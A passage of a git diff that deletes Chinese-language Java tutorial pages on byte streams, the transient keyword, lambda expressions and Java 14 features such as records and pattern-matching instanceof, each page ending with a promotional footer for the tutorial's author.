对象,将数据追加到该文件的末尾。如果文件不存在,则创建一个新文件;如果文件已经存在,则在文件末尾追加数据。 - -2、使用文件对象和追加标志创建 FileOutputStream 对象 - -```java -File file = new File("example.txt"); -boolean append = true; -FileOutputStream fos = new FileOutputStream(file, append); -``` - -以上代码使用文件对象和追加标志创建一个 FileOutputStream 对象,将数据追加到该文件的末尾。 - -这两个构造方法,第二个参数中都需要传入一个boolean类型的值,`true` 表示追加数据,`false` 表示不追加也就是清空原有数据。 - -实现数据追加代码如下: - -```java -// 使用文件名称创建流对象 -FileOutputStream fos = new FileOutputStream("fos.txt",true); -// 字符串转换为字节数组 -byte[] b = "abcde".getBytes(); -// 写出从索引2开始,2个字节。索引2是c,两个字节,也就是cd。 -fos.write(b); -// 关闭资源 -fos.close(); -``` - -多次运行代码,你会发现数据在不断地追加。 - -在 Windows 系统中,换行符号是`\r\n`,具体代码如下: - -```java -String filename = "example.txt"; -FileOutputStream fos = new FileOutputStream(filename, true); // 追加模式 -String content = "沉默王二\r\n"; // 使用回车符和换行符的组合 -fos.write(content.getBytes()); -fos.close(); -``` - -在 macOS 系统中,换行符是 `\n`,具体代码如下: - -```java -String filename = "example.txt"; -FileOutputStream fos = new FileOutputStream(filename, true); // 追加模式 -String content = "沉默王二\n"; // 只使用换行符 -fos.write(content.getBytes()); -fos.close(); -``` - -这里再唠一唠回车符和换行符。 - -回车符(`\r`)和换行符(`\n`)是计算机中常见的控制字符,用于表示一行的结束或者换行的操作。它们在不同的操作系统和编程语言中的使用方式可能有所不同。 - -在 Windows 系统中,通常使用回车符和换行符的组合(`\r\n`)来表示一行的结束。在文本文件中,每行的末尾都会以一个回车符和一个换行符的组合结束。这是由于早期的打印机和终端设备需要回车符和换行符的组合来完成一行的结束和换行操作。在 Windows 中,文本编辑器和命令行终端等工具都支持使用回车符和换行符的组合来表示一行的结束。 - -而在 macOS 和 Linux 系统中,通常只使用换行符(`\n`)来表示一行的结束。在文本文件中,每行的末尾只有一个换行符。这是由于早期 Unix 系统中的终端设备只需要换行符来完成一行的结束和跨行操作。在 macOS 和 Linux 中,文本编辑器和终端等工具都支持使用换行符来表示一行的结束。 - -在编程语言中,通常也会使用回车符和换行符来进行字符串的操作。例如,在 Java 中,字符串中的回车符可以用 "`\r`" 来表示,换行符可以用 "`\n`" 来表示。在通过输入输出流进行文件读写时,也需要注意回车符和换行符的使用方式和操作系统的差异。 - -### 字节输入流(InputStream) - -`java.io.InputStream` 是**字节输入流**的**超类**(父类),我们来看一下它的一些共性方法: - -1、`close()` :关闭此输入流并释放与此流相关的系统资源。 - -2、`int read()`: 从输入流读取数据的下一个字节。 - -3、`read(byte[] b)`: 该方法返回的 int 值代表的是读取了多少个字节,读到几个返回几个,读取不到返回-1 - -### FileInputStream类 - -InputStream 有很多子类,我们从最简单的一个子类 FileInputStream 开始。看名字就知道是文件输入流,用于将数据从文件中读取数据。 - -#### 1)FileInputStream的构造方法 - -1、`FileInputStream(String name)`:创建一个 FileInputStream 对象,并打开指定名称的文件进行读取。文件名由 name 参数指定。如果文件不存在,将会抛出 FileNotFoundException 异常。 - -2、`FileInputStream(File file)`:创建一个 FileInputStream 对象,并打开指定的 File 对象表示的文件进行读取。 - -代码示例如下: - -```java -// 创建一个 FileInputStream 对象 -FileInputStream fis = new FileInputStream("test.txt"); - -// 读取文件内容 -int data; -while ((data = fis.read()) != -1) { - System.out.print((char) data); -} - -// 关闭输入流 -fis.close(); -``` - -#### 2)FileInputStream读取字节数据 - -①、**读取字节**:`read()`方法会读取一个字节并返回其整数表示。如果已经到达文件的末尾,则返回 -1。如果在读取时发生错误,则会抛出 IOException 异常。 - -代码示例如下: - -```java -// 创建一个 FileInputStream 对象 -FileInputStream fis = new FileInputStream("test.txt"); - -// 读取文件内容 -int data; -while ((data = fis.read()) != -1) { - System.out.print((char) data); -} - -// 关闭输入流 -fis.close(); -``` - - -②、**使用字节数组读取**:`read(byte[] b)` 方法会从输入流中最多读取 b.length 个字节,并将它们存储到缓冲区数组 b 中。 - -代码示例如下: - -```java -// 创建一个 FileInputStream 对象 -FileInputStream fis = new FileInputStream("test.txt"); - -// 读取文件内容到缓冲区 -byte[] buffer = new byte[1024]; -int count; -while ((count = fis.read(buffer)) != -1) { - System.out.println(new String(buffer, 0, count)); -} - -// 关闭输入流 -fis.close(); -``` - -#### 3)字节流FileInputstream复制图片 - -原理很简单,就是把图片信息读入到字节输入流中,再通过字节输出流写入到文件中。 - -代码示例如下所示: - -```java -// 创建一个 FileInputStream 对象以读取原始图片文件 -FileInputStream fis = new FileInputStream("original.jpg"); - -// 创建一个 FileOutputStream 对象以写入复制后的图片文件 -FileOutputStream fos = new FileOutputStream("copy.jpg"); - -// 创建一个缓冲区数组以存储读取的数据 -byte[] buffer = new byte[1024]; -int count; - -// 读取原始图片文件并将数据写入复制后的图片文件 -while ((count = fis.read(buffer)) != -1) { - fos.write(buffer, 0, count); -} - -// 关闭输入流和输出流 -fis.close(); -fos.close(); -``` - -上面的代码创建了一个 FileInputStream 对象以读取原始图片文件,并创建了一个 FileOutputStream 对象以写入复制后的图片文件。然后,使用 while 循环逐个读取原始图片文件中的字节,并将其写入复制后的图片文件中。最后,关闭输入流和输出流释放资源。 - -### 小结 - -InputStream 是字节输入流的抽象类,它定义了读取字节数据的方法,如 `read()`、`read(byte[] b)`、`read(byte[] b, int off, int len)` 等。OutputStream 是字节输出流的抽象类,它定义了写入字节数据的方法,如 `write(int b)`、`write(byte[] b)`、`write(byte[] b, int off, int len)` 等。这两个抽象类是字节流的基础。 - -FileInputStream 是从文件中读取字节数据的流,它继承自 InputStream。FileOutputStream 是将字节数据写入文件的流,它继承自 OutputStream。这两个类是字节流最常用的实现类之一。 - ---------- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/io/transient.md b/docs/src/io/transient.md deleted file mode 100644 index 8d5eeaa34c..0000000000 --- a/docs/src/io/transient.md +++ /dev/null @@ -1,272 +0,0 @@ ---- -title: 招银面试官:说说 Java transient 关键字吧 -shortTitle: transient关键字 -category: - - Java核心 -tag: - - Java IO -description: 本文详细介绍了 Java 中 transient 关键字的作用与用法,阐述了其如何在对象序列化过程中控制特定字段的序列化与反序列化。同时,文章还提供了 transient 关键字的实际应用示例和注意事项。阅读本文,将帮助您更深入地了解 Java 中的 transient 关键字,有效地控制对象序列化过程中的字段选择。 -head: - - - meta - - name: keywords - content: Java,transient,java transient,transient关键字 ---- - - -害,小二最熟的是 Java,但很多 Java 基础知识都不知道,比如 transient 关键字以前就没用到过,所以不知道它的作用是什么,今天去招银面试的时候,面试官问到了这个:说说 Java 的 transient 关键字吧,结果小二直接懵逼了。 - -下面是他自己面试凉了以后回去做的总结,分享出来,大家一起涨下姿势~~~好了,废话不多说,下面开始: - -### 01、transient 的作用及使用方法 - -我们知道,一个对象只要实现了 [Serilizable 接口](https://javabetter.cn/io/Serializbale.html),它就可以被[序列化](https://javabetter.cn/io/serialize.html)。 - -在实际开发过程中,我们常常会遇到这样的问题,一个类的有些字段需要序列化,有些字段不需要,比如说用户的一些敏感信息(如密码、银行卡号等),为了安全起见,不希望在网络操作中传输或者持久化到磁盘文件中,那这些字段就可以加上 `transient` 关键字。 - -需要注意的是,被 transient 关键字修饰的成员变量在反序列化时会被自动初始化为默认值,例如基本数据类型为 0,引用类型为 null。 - -来看示例: - -```java -public class TransientTest { - public static void main(String[] args) { - - User user = new User(); - user.setUsername("沉默王二"); - user.setPasswd("123456"); - - System.out.println("read before Serializable: "); - System.out.println("username: " + user.getUsername()); - System.err.println("password: " + user.getPasswd()); - - try { - ObjectOutputStream os = new ObjectOutputStream( - new FileOutputStream("user.txt")); - os.writeObject(user); // 将User对象写进文件 - os.flush(); - os.close(); - } catch (FileNotFoundException e) { - e.printStackTrace(); - } catch (IOException e) { - e.printStackTrace(); - } - try { - ObjectInputStream is = new ObjectInputStream(new FileInputStream( - "user.txt")); - user = (User) is.readObject(); // 从流中读取User的数据 - is.close(); - - System.out.println("\nread after Serializable: "); - System.out.println("username: " + user.getUsername()); - System.err.println("password: " + user.getPasswd()); - - } catch (FileNotFoundException e) { - e.printStackTrace(); - } catch (IOException e) { - e.printStackTrace(); - } catch (ClassNotFoundException e) { - e.printStackTrace(); - } - } -} - -class User implements Serializable { - private static final long serialVersionUID = 8294180014912103005L; - - private String username; - private transient String passwd; - - public String getUsername() { - return username; - } - - public void setUsername(String username) { - this.username = username; - } - - public String getPasswd() { - return passwd; - } - - public void setPasswd(String passwd) { - this.passwd = passwd; - } - -} -``` - -输出为: - -``` -read before Serializable: -username: 沉默王二 -password: 123456 -read after Serializable: -username: 沉默王二 -password: null -``` - -密码字段为 null,说明反序列化时根本没有从文件中获取到信息。 - -### 02、transient 使用小结 - -1)一旦字段被 transient 修饰,成员变量将不再是对象持久化的一部分,该变量的值在序列化后无法访问。 - -2)transient 关键字只能修饰字段,而不能修饰方法和类。 - -3)被 transient 关键字修饰的字段不能被序列化,一个静态变量([static关键字](https://javabetter.cn/oo/static.html)修饰)不管是否被 transient 修饰,均不能被序列化,[前面讲到过](https://javabetter.cn/io/Serializbale.html)。 - -来看示例: - -```java -public class TransientTest { - public static void main(String[] args) { - - User user = new User(); - user.setUsername("沉默王二"); - user.setPasswd("123456"); - - System.out.println("read before Serializable: "); - System.out.println("username: " + user.getUsername()); - System.err.println("password: " + user.getPasswd()); - - try { - ObjectOutputStream os = new ObjectOutputStream( - new FileOutputStream("user.txt")); - os.writeObject(user); // 将User对象写进文件 - os.flush(); - os.close(); - } catch (FileNotFoundException e) { - e.printStackTrace(); - } catch (IOException e) { - e.printStackTrace(); - } - try { - // 在反序列化之前改变username的值 - User.username = "沉默王三"; - - ObjectInputStream is = new ObjectInputStream(new FileInputStream( - "user.txt")); - user = (User) is.readObject(); // 从流中读取User的数据 - is.close(); - - System.out.println("\nread after Serializable: "); - System.out.println("username: " + user.getUsername()); - System.err.println("password: " + user.getPasswd()); - - } catch (FileNotFoundException e) { - e.printStackTrace(); - } catch (IOException e) { - e.printStackTrace(); - } catch (ClassNotFoundException e) { - e.printStackTrace(); - } - } -} - -class User implements Serializable { - private static final long serialVersionUID = 8294180014912103005L; - - public static String username; - private transient String passwd; - - public String getUsername() { - return username; - } - - public void setUsername(String username) { - this.username = username; - } - - public String getPasswd() { - return passwd; - } - - public void setPasswd(String passwd) { - this.passwd = passwd; - } -} -``` - -运行结果为: - -``` -read before Serializable: -username: 沉默王二 -password: 123456 -read after Serializable: -username: 沉默王三 -password: null -``` - -序列化前,static 修饰的 username 为 沉默王二,然后我们在反序列化前将其修改为 沉默王三 了,如果说 static 修饰的字段能保持状态的话,反序列化后应该是 沉默王二,对吧? - -但结果是 沉默王三,这就证明了我们之前的结论:**static 修饰的字段不能被序列化**。 - -### 03、transient 修饰的字段真的不能被序列化? - -思考下面的例子: - -```java -public class ExternalizableTest implements Externalizable { - private transient String content = "是的,我将会被序列化,不管我是否被transient关键字修饰"; - - @Override - public void writeExternal(ObjectOutput out) throws IOException { - out.writeObject(content); - } - - @Override - public void readExternal(ObjectInput in) throws IOException, - ClassNotFoundException { - content = (String) in.readObject(); - } - - public static void main(String[] args) throws Exception { - - ExternalizableTest et = new ExternalizableTest(); - ObjectOutput out = new ObjectOutputStream(new FileOutputStream( - new File("test"))); - out.writeObject(et); - - ObjectInput in = new ObjectInputStream(new FileInputStream(new File( - "test"))); - et = (ExternalizableTest) in.readObject(); - System.out.println(et.content); - - out.close(); - in.close(); - } -} -``` - -来看下输出结果: - -``` -是的,我将会被序列化,不管我是否被transient关键字修饰 -``` - -这是为什么呢?不是说 transient 关键字修饰的字段不能序列化吗? - -我先说结论,这是因为我们使用了 Externalizable 接口而不是 Serializable接口,这个[知识点我们前面其实也讲到过](https://javabetter.cn/io/Serializbale.html)。 - -在 Java 中,对象的序列化可以通过实现两种接口来实现,如果实现的是 Serializable 接口,则所有的序列化将会自动进行,如果实现的是 Externalizable 接口,则需要在 writeExternal 方法中指定要序列化的字段,与 transient 关键字修饰无关。 - -因此例子输出的是变量 content 的内容,而不是 null。 - -### 04、小结 - -transient 关键字用于修饰类的成员变量,在序列化对象时,被修饰的成员变量不会被序列化和保存到文件中。其作用是告诉 JVM 在序列化对象时不需要将该变量的值持久化,这样可以避免一些安全或者性能问题。但是,transient 修饰的成员变量在反序列化时会被初始化为其默认值(如 int 类型会被初始化为 0,引用类型会被初始化为 null),因此需要在程序中进行适当的处理。 - -transient 关键字和 static 关键字都可以用来修饰类的成员变量。其中,transient 关键字表示该成员变量不参与序列化和反序列化,而 static 关键字表示该成员变量是属于类的,不属于对象的,因此不需要序列化和反序列化。 - -在 Serializable 和 Externalizable 接口中,transient 关键字的表现也不同,在 Serializable 中表示该成员变量不参与序列化和反序列化,在 Externalizable 中不起作用,因为 Externalizable 接口需要实现 readExternal 和 writeExternal 方法,需要手动完成序列化和反序列化的过程。 - ---------- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/java8/Lambda.md b/docs/src/java8/Lambda.md deleted file mode 100644 index 30d86efbf7..0000000000 --- a/docs/src/java8/Lambda.md +++ /dev/null @@ -1,363 +0,0 @@ ---- -title: 深入浅出Java 8 Lambda表达式 -shortTitle: 深入浅出Lambda表达式 -category: - - Java核心 -tag: - - Java新特性 -description: 本文详细介绍了Java 8引入的Lambda表达式,阐述了Lambda表达式的设计目的和用法。通过实际的代码示例,展示了如何使用Lambda表达式来简化代码,提高编程效率。学习本文,让您快速掌握Java 8 Lambda表达式的使用技巧,享受函数式编程带来的编程乐趣。 -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java8,lambda,java lambda,Lambda表达式, 函数式编程 ---- - - -今天分享的主题是《Lambda 表达式入门》,这也是之前一些读者留言强烈要求我写一写的,不好意思,让你们久等了,现在来满足你们,为时不晚吧? - -![](https://cdn.paicoding.com/tobebetterjavaer/images/java8/Lambda-1.jpg) - -### 01、初识 Lambda - -Lambda 表达式描述了一个代码块(或者叫匿名方法),可以将其作为参数传递给构造方法或者普通方法以便后续执行。考虑下面这段代码: - -```java -() -> System.out.println("沉默王二") -``` - -来从左到右解释一下,`()` 为 Lambda 表达式的参数列表(本例中没有参数),`->` 标识这串代码为 Lambda 表达式(也就是说,看到 `->` 就知道这是 Lambda),`System.out.println("沉默王二")` 为要执行的代码,即将“沉默王二”打印到标准输出流。 - -有点 Java 基础的同学应该不会对 Runnable 接口感到陌生,这是多线程的一个基础接口,它的定义如下: - -```java -@FunctionalInterface -public interface Runnable -{ - public abstract void run(); -} -``` - -Runnable 接口非常简单,仅有一个抽象方法 `run()`;细心的同学会发现一个陌生的注解 `@FunctionalInterface`,这个注解是什么意思呢? - -我看了它的源码,里面有这样一段注释: - ->Note that instances of functional interfaces can be created with lambda expressions, method references, or constructor references. - -大致的意思就是说,通过 `@FunctionalInterface` 标记的接口可以通过 Lambda 表达式创建实例。具体怎么表现呢? - -原来我们创建一个线程并启动它是这样的: - -```java -public class LamadaTest { - public static void main(String[] args) { - new Thread(new Runnable() { - @Override - public void run() { - System.out.println("沉默王二"); - } - }).start(); - } -} -``` - -通过 Lambda 表达式呢?只需要下面这样: - -```java -public class LamadaTest { - public static void main(String[] args) { - new Thread(() -> System.out.println("沉默王二")).start(); - } -} -``` - -是不是很妙!比起匿名内部类,Lambda 表达式不仅易于理解,更大大简化了必须编写的代码数量。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/java8/Lambda-2.jpg) - -### 02、Lambda 语法 - -每个 Lambda 表达式都遵循以下法则: - -``` -( parameter-list ) -> { expression-or-statements } -``` - -`()` 中的 `parameter-list` 是以逗号分隔的参数。你可以指定参数的类型,也可以不指定(编译器会根据上下文进行推断)。Java 11 后,还可以使用 `var` 关键字作为参数类型,有点 JavaScript 的味道。 - -`->` 相当于 Lambda 的标识符,就好像见到圣旨就见到了皇上。 - -`{}` 中的 `expression-or-statements` 为 Lambda 的主体,可以是一行语句,也可以多行。 - -可以通过 Lambda 表达式干很多事情,比如说 - -1)为变量赋值,示例如下: - -```java -Runnable r = () -> { System.out.println("沉默王二"); }; -r.run(); -``` - -2)作为 return 结果,示例如下: - -```java -static FileFilter getFilter(String ext) -{ - return (pathname) -> pathname.toString().endsWith(ext); -} -``` - -3)作为数组元素,示例如下: - -```java -final PathMatcher matchers[] = -{ - (path) -> path.toString().endsWith("txt"), - (path) -> path.toString().endsWith("java") -}; -``` - -4)作为普通方法或者构造方法的参数,示例如下: - -```java -new Thread(() -> System.out.println("沉默王二")).start(); -``` - -需要注意 Lambda 表达式的作用域范围。 - -```java -public static void main(String[] args) { - - int limit = 10; - Runnable r = () -> { - int limit = 5; - for (int i = 0; i < limit; i++) - System.out.println(i); - }; -} -``` - -上面这段代码在编译的时候会提示错误:变量 limit 已经定义过了。 - -和匿名内部类一样,不要在 Lambda 表达式主体内对方法内的局部变量进行修改,否则编译也不会通过:Lambda 表达式中使用的变量必须是 final 的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/java8/Lambda-3.jpg) - -这个问题发生的原因是因为 Java 规范中是这样规定的: - ->Any local variable, formal parameter, or exception parameter used but not declared in a lambda expression -must either be declared final or be effectively final [(§4.12.4)](http://docs.oracle.com/javase/specs/jls/se8/html/jls-4.html#jls-4.12.4), -or a compile-time error occurs where the use is attempted. - -大致的意思就是说,Lambda 表达式中要用到的,但又未在 Lambda 表达式中声明的变量,必须声明为 final 或者是 effectively final,否则就会出现编译错误。 - -关于 final 和 effectively final 的区别,可能有些小伙伴不太清楚,这里多说两句。 - -```java -final int a; -a = 1; -// a = 2; -// 由于 a 是 final 的,所以不能被重新赋值 - -int b; -b = 1; -// b 此后再未更改 -// b 就是 effectively final - -int c; -c = 1; -// c 先被赋值为 1,随后又被重新赋值为 2 -c = 2; -// c 就不是 effectively final -``` - -明白了 final 和 effectively final 的区别后,我们了解到,如果把 limit 定义为 final,那就无法在 Lambda 表达式中修改变量的值。那有什么好的解决办法呢?既能让编译器不发出警告,又能修改变量的值。 - -思前想后,试来试去,我终于找到了 3 个可行的解决方案: - -1)把 limit 变量声明为 static。 - -2)把 limit 变量声明为 AtomicInteger。 - -3)使用数组。 - -下面我们来详细地一一介绍下。 - -#### 01)把 limit 变量声明为 static - -要想把 limit 变量声明为 static,就必须将 limit 变量放在 `main()` 方法外部,因为 `main()` 方法本身是 static 的。完整的代码示例如下所示。 - -```java -public class ModifyVariable2StaticInsideLambda { - static int limit = 10; - public static void main(String[] args) { - Runnable r = () -> { - limit = 5; - for (int i = 0; i < limit; i++) { - System.out.println(i); - } - }; - new Thread(r).start(); - } -} -``` - -来看一下程序输出的结果: - -``` -0 -1 -2 -3 -4 -``` - -OK,该方案是可行的。 - -#### 02)把 limit 变量声明为 AtomicInteger - -AtomicInteger 可以确保 int 值的修改是原子性的,可以使用 `set()` 方法设置一个新的 int 值,`get()` 方法获取当前的 int 值。 - -```java -public class ModifyVariable2AtomicInsideLambda { - public static void main(String[] args) { - final AtomicInteger limit = new AtomicInteger(10); - Runnable r = () -> { - limit.set(5); - for (int i = 0; i < limit.get(); i++) { - System.out.println(i); - } - }; - new Thread(r).start(); - } -} -``` - -来看一下程序输出的结果: - -``` -0 -1 -2 -3 -4 -``` - -OK,该方案也是可行的。 - -#### 03)使用数组 - -使用数组的方式略带一些欺骗的性质,在声明数组的时候设置为 final,但更改 int 的值时却修改的是数组的一个元素。 - -```java -public class ModifyVariable2ArrayInsideLambda { - public static void main(String[] args) { - final int [] limits = {10}; - Runnable r = () -> { - limits[0] = 5; - for (int i = 0; i < limits[0]; i++) { - System.out.println(i); - } - }; - new Thread(r).start(); - } -} -``` - -来看一下程序输出的结果: - -``` -0 -1 -2 -3 -4 -``` - -OK,该方案也是可行的。 - -### 03、Lambda 和 this 关键字 - -Lambda 表达式并不会引入新的作用域,这一点和匿名内部类是不同的。也就是说,Lambda 表达式主体内使用的 this 关键字和其所在的类实例相同。 - -来看下面这个示例。 - -```java -public class LamadaTest { - public static void main(String[] args) { - new LamadaTest().work(); - } - - public void work() { - System.out.printf("this = %s%n", this); - - Runnable r = new Runnable() - { - @Override - public void run() - { - System.out.printf("this = %s%n", this); - } - }; - new Thread(r).start(); - new Thread(() -> System.out.printf("this = %s%n", this)).start(); - } -} -``` - -Tips:`%s` 代表当前位置输出字符串,`%n` 代表换行符,也可以使用 `\n` 代替,但 `%n` 是跨平台的。 - -`work()` 方法中的代码可以分为 3 个部分: - -1)单独的 this 关键字 - -```java -System.out.printf("this = %s%n", this); -``` - -其中 this 为 `main()` 方法中通过 new 关键字创建的 LamadaTest 对象——`new LamadaTest()`。 - -2)匿名内部类中的 this 关键字 - -```java -Runnable r = new Runnable() -{ - @Override - public void run() - { - System.out.printf("this = %s%n", this); - } -}; -``` - -其中 this 为 `work()` 方法中通过 new 关键字创建的 Runnable 对象——`new Runnable(){...}`。 - -3)Lambda 表达式中的 this 关键字 - -其中 this 关键字和 1)中的相同。 - -我们来看一下程序的输出结果: - -```java -this = com.cmower.java_demo.journal.LamadaTest@3feba861 -this = com.cmower.java_demo.journal.LamadaTest$1@64f033cb -this = com.cmower.java_demo.journal.LamadaTest@3feba861 -``` - -符合我们分析的预期。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/java8/Lambda-4.jpg) - -### 04、最后 - -尽管 Lambda 表达式在简化 Java 编程方面做了很多令人惊讶的努力,但在某些情况下,不当的使用仍然会导致不必要的混乱,大家伙慎用。 - -好了,我亲爱的读者朋友们,以上就是本文的全部内容了。能在疫情期间坚持看技术文,二哥必须要伸出大拇指为你点个赞👍。原创不易,如果觉得有点用的话,请不要吝啬你手中**点赞**的权力——因为这将是我写作的最强动力。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/java8/java14.md b/docs/src/java8/java14.md deleted file mode 100644 index 4d2f96cbda..0000000000 --- a/docs/src/java8/java14.md +++ /dev/null @@ -1,279 +0,0 @@ ---- -title: Java 14 开箱,新特性Record、instanceof、switch香香香香 -shortTitle: Java 14 新特性 -category: - - Java核心 -tag: - - Java新特性 -description: 本文详细介绍了Java 14的新特性,包括Record、instanceof和switch语句的改进。通过实际的代码示例,展示了如何使用这些新特性来简化代码,提高编程效率。学习本文,让您快速了解Java 14的新亮点,领略新特性带来的编程魅力。 -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java8,java Record,java instanceof,java switch ---- - - -Java 14 的时候,新增了记录 Record、模式匹配 instanceof 等新特性,转正了 Java 12 时的 switch 表达式,我们一起来过一遍。 - -![](https://imgconvert.csdnimg.cn/aHR0cHM6Ly91cGxvYWQtaW1hZ2VzLmppYW5zaHUuaW8vdXBsb2FkX2ltYWdlcy8xMTc5Mzg5LTA2N2E2NGZiZWY3OTU0MTAucG5n?x-oss-process=image/format,png) - -### 01、下载 JDK 14 - -> 截止到2023年03月30日,Java 20 已经发布了,不过不是 LTS(长期支持)版本,Java 17、11、8 是目前提供支持的 LTS 版本。 - -要想开箱,得先下载 JDK 14(如果你有更高版本,当然也可以),不然拿什么开箱呢,对吧?有 2 处地方可供下载,Oracle 上可以下载商用版, [jdk.java.net](https://jdk.java.net/14/) 上可以下载开源版。我们就选择后者吧。 - -![](https://imgconvert.csdnimg.cn/aHR0cHM6Ly91cGxvYWQtaW1hZ2VzLmppYW5zaHUuaW8vdXBsb2FkX2ltYWdlcy8xMTc5Mzg5LTJkM2Q3MGQ4ODQ0NDk1MDEucG5n?x-oss-process=image/format,png) - -我目前用的是 Windows 操作系统,所以就选择 Windows 版的 zip 包进行下载,完成后记得解压。 - -### 02、升级 IntelliJ IDEA - ->截止到 2023年03月30日,Intellij IDEA 的最新版本是 2023.1。 - -需要把 IDEA 升级到抢先体验版 2020.1 EAP(如果你当前使用的版本大于此,当然也可以),否则无法支持 Java 14 的新特性。 - -![](https://imgconvert.csdnimg.cn/aHR0cHM6Ly91cGxvYWQtaW1hZ2VzLmppYW5zaHUuaW8vdXBsb2FkX2ltYWdlcy8xMTc5Mzg5LThhYjFjYmRiNDA3MjBiM2UucG5n?x-oss-process=image/format,png) - -社区版的下载地址如下所示: - -``` -[https://www.jetbrains.com/idea/nextversion/#section=windows](https://www.jetbrains.com/idea/nextversion/#section=windows) -``` - -安装的时候可以把之前的版本卸载,也可以选择保留。完成后,我们来新建一个 Java 14 的项目。 - -![](https://imgconvert.csdnimg.cn/aHR0cHM6Ly91cGxvYWQtaW1hZ2VzLmppYW5zaHUuaW8vdXBsb2FkX2ltYWdlcy8xMTc5Mzg5LTBhYWIwYWNiY2RiMzllZGIucG5n?x-oss-process=image/format,png) - -### 01、instanceof - -按照新特性的顺序,我们就先从 instanceof 说起吧。旧式的 instanceof 的用法如下所示: - -```java -public class OldInstanceOf { - public static void main(String[] args) { - Object str = "Java 14,真香"; - if (str instanceof String) { - String s = (String)str; - System.out.println(s.length()); - } - } -} -``` - -需要先使用 instanceof 在 if 条件中判断 str 的类型是否为 String(第一步),再在 if 语句中将 str 强转为字符串类型(第二步),并且要重新声明一个变量用于强转后的赋值(第三步)。 - -三个步骤也不算多,但总觉得应该还有更好的语法,这不,Java 14 就想到了这一层。 - -```java -public class NewInstanceOf { - public static void main(String[] args) { - Object str = "Java 14,真香"; - if (str instanceof String s) { - System.out.println(s.length()); - } - } -} -``` - -可以直接在 if 条件判断类型的时候添加一个变量,就不需要再强转和声明新的变量了。是不是特别简洁?但模式匹配的 instanceof 在 Java 14 中是预览版的,默认是不启用的,所以这段代码会有一个奇怪的编译错误(Java 14 中不支持模式匹配的 instanceof)。 - -![](https://imgconvert.csdnimg.cn/aHR0cHM6Ly91cGxvYWQtaW1hZ2VzLmppYW5zaHUuaW8vdXBsb2FkX2ltYWdlcy8xMTc5Mzg5LTg1MTQ4YWI3MjI2ZmM4ZTUucG5n?x-oss-process=image/format,png) - -那怎么解决这个问题呢?需要在项目配置中手动设置一下语言的版本。 - -![](https://imgconvert.csdnimg.cn/aHR0cHM6Ly91cGxvYWQtaW1hZ2VzLmppYW5zaHUuaW8vdXBsb2FkX2ltYWdlcy8xMTc5Mzg5LTdhMzE3MDYwNjk5NTJmMDgucG5n?x-oss-process=image/format,png) - -设置完成后,编译错误就随风飘走了。程序输出的结果如下所示: - -``` -10 -``` - -不错不错,真香。想知道 Java 编译器在背后帮我们做了什么吗?看一下反编译后的字节码就明白了。 - -```java -public class NewInstanceOf { - public NewInstanceOf() { - } - - public static void main(String[] args) { - Object str = "Java 14,真香"; - String s; - if (str instanceof String && (s = (String)str) == (String)str) { - System.out.println(s.length()); - } - - } -} -``` - -在 if 条件判断前,先声明了变量 s,然后在 if 条件中进行了强转 `s = (String)str)`,并且判断了 s 和 str 是否相等。确实是一个解放开放者生产力的好特性,强烈希望这个特性在下个版本中转正。 - -### 02、Records - -在之前的一篇文章中,我谈到了[类的不可变性](https://javabetter.cn/basic-extra-meal/immutable.html),它是这样定义的: - -```java -public final class Writer { - private final String name; - private final int age; - - public Writer(String name, int age) { - this.name = name; - this.age = age; - } - - public int getAge() { - return age; - } - - public String getName() { - return name; - } -} -``` - -那么,对于 Records 来说,一条 Record 就代表一个不变的状态。尽管它会提供诸如 `equals()`、`hashCode()`、`toString()`、构造方法,以及字段的 getter,但它无意替代可变对象的类(没有 setter),以及 Lombok 提供的功能。 - -来用 Records 替代一下上面这个 Writer 类: - -```java -public record Writer(String name, int age) { } -``` - -你看,一行代码就搞定。关键是比之前的代码功能更丰富,来看一下反编译后的字节码: - -```java -public final class Writer extends java.lang.Record { - private final java.lang.String name; - private final int age; - - public Writer(java.lang.String name, int age) { /* compiled code */ } - - public java.lang.String toString() { /* compiled code */ } - - public final int hashCode() { /* compiled code */ } - - public final boolean equals(java.lang.Object o) { /* compiled code */ } - - public java.lang.String name() { /* compiled code */ } - - public int age() { /* compiled code */ } -} -``` - -类是 final 的,字段是 